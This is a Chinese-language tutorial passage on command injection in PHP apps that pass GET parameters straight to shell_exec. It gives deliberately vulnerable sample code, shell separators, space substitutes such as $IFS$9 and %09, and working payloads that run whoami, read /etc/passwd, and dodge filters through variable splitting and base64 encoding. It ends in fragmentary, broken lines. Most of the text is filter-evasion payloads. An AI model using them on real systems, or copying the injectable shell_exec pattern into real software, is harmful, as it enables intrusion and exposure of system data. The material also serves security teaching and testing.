命令执行将执行系统命令,因此利用Linux shell中的特性,从而达到绕过防御的效果
测试代码:
<?php
highlight_file(__FILE__);
$name = $_GET['name'];
$output=shell_exec('echo'.$name);
echo $output;
?>
Linux shell中分隔符
换行符(%0a)、回车符(%0d)、连续命令(;)、管道符(|)、逻辑符号(||、&&)
注意:在使用回车符的时候要加反引号,逻辑符||的时候要保证前面的语句执行错误
例如:
<?php
highlight_file(__FILE__);
$ip = $_GET['ip'];
$output = shell_exec('ping -c 3'.$ip);
echo '<pre>'.$output.'</pre>';
?>
我们可以构建
?ip=127.0.0.1.a||whoami
Linux shell 中的空格
%09(teb,在PHP环境下)、$IFS$9、${IFS}、$IFS、<>
注:$IFS在linux下表示分隔符,如果不加{}则bash会将IFS解释为一个变量名, 加一个{}就固定了变量名,$IFS$9后面之所以加个$是为了起到截断的作用 ;为什么要用$9呢,因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。 不仅 $9可以使用,其他的数字也都可以正确绕过。
实验代码:
<?php
highlight_file(__FILE__);
$name=$_GET['name'];
$name=str_replace(' ','',$name);
$output=shell_exec('echo'.$name);
echo $output;
?>
payload:
?name=abc;cat%09/etc/passwd
?name=abc;cat$IFS$9/etc/passwd
常用绕过技巧
-
重定义变量 绕过命令过滤 ;a=l;b=s;
a
a
ab -
base64编码绕过 `echo Y2F0IC9ldGMvcGFzc3dk|base64 -d`
|